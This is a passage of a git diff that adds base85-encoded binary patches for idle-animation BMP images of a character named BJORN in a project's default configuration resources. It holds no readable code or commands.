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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE18.bmp new file mode 100644 index 0000000000000000000000000000000000000000..55a36b874c6aa822d34fa1bc8cc02e6cb1706d83 GIT binary patch literal 18462 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 BqeB1y literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE19.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1474fe0eadd5ec3dda4445c1cabf12718f5e5390 GIT binary patch literal 18462 zcmchf1z20z*07mxzB{*qwpfcpaEAm)2*HB8TM`Hm2u^T!cXxMptx&vBnYwrCxVIFm z@bAEU_n$k`&V8Qm|If47oSd9<_ImePd!M!CL`9EXlj3NT0jU7^)BpAF2MXq+rA3-FOl_lFC2cXysWd2(rJxT2&yDk8?k#a~rL z$IjN#*Eb>}GC3=|yr#ChyKi)K{LZx-&u`s+ee2Haso4kBb?ro=cSS`N$Q0!Dr^``GsOhewYdOixcwOioPCTz&NT(Zguj0j$YbNf;r7nq*7o7r*5T5|;r!a+-0Ii)mCuW7 zhnw4E@%9aEZf*sc{;>%EsLAh+{0-J4gB_-(W~i&_XrK+W)J(O|W@tryWqD0BO4HQ9 z+=t{>R9rkZJ~lT$_uJdQc=fWnrp}2#)VFfdcaGF2Wtzt|+ZRoHHazufTl8yRaj#!+ zDtn2|d19A*3$9@H;PKnJrMT!ANp;+f3^QT*5l&KD=dfwKz5Qw5NT#Fsm(y zl!CQ%(^NB2kXP5#&~tGjCdR~?8W?Dx^?f}PY|LHwls!~Q1B!0#aEB%+rc&IpP|Q4E z+&o{}vIu5X3biUzaB1O?Hfm_-*grU2THae*`@Ft(unJ^-Z*60L0TjUe-kbTo=Wn)w zY0E1cr>CX?(0}U5-(&@?BPhO)J3FeXT2-Zk^Gl!RR}SWv_m@@gt0wB)ksepqphrWl1_|X+J#Au#0(E$l=V3)>q#%~ z#iZcPqUg(_;>U{i=QWIGLD+;vBm#n!)!mJaPa7Kt>l>few+^;Gep*{USXln_W`6(G zyPc)Auj7+@TnGFRdOdt?n-@?|}Oi7E}mmyE#_QhFy3aJ2vm%JZT-3i_pii^2^aM%bw-dWs$b$ zQVeES4d+q|=Tr-4R}13M@DVVI;MF3TnAxtaZv(!SwVjpC-Stf}?%F1>?*8J+{@aDU z*K@$JKRtM|92JvraIg=uJKp}LKYx?;*nx+JFPa(RodW zep+7H1?B8X3gXvsm%$}VSVb#&6q_aY5u5LXUS0_6zU`RNq-pCfB&Wl`4rSt1XO%K% zfje=k1_>D@ieqxct&%k~EoLU~y?(uZ@cD3i|8RZt6L8~|bx^MR%gYCIOZ%_qc7bW< zR=)W72aZklJbQV2Y31#|pubD}9oA2v;5s_H?QPr_7WNm{b~m^8H{KrrEy#tw3HCp2 zZ2c;rV(sl85WL}4NokV!`C(ozz8Gu!xY(4LYmb*!KY`k@zV>x>`SZfkK4_cXEbP8` zyS=dfB_cAWcc}c# 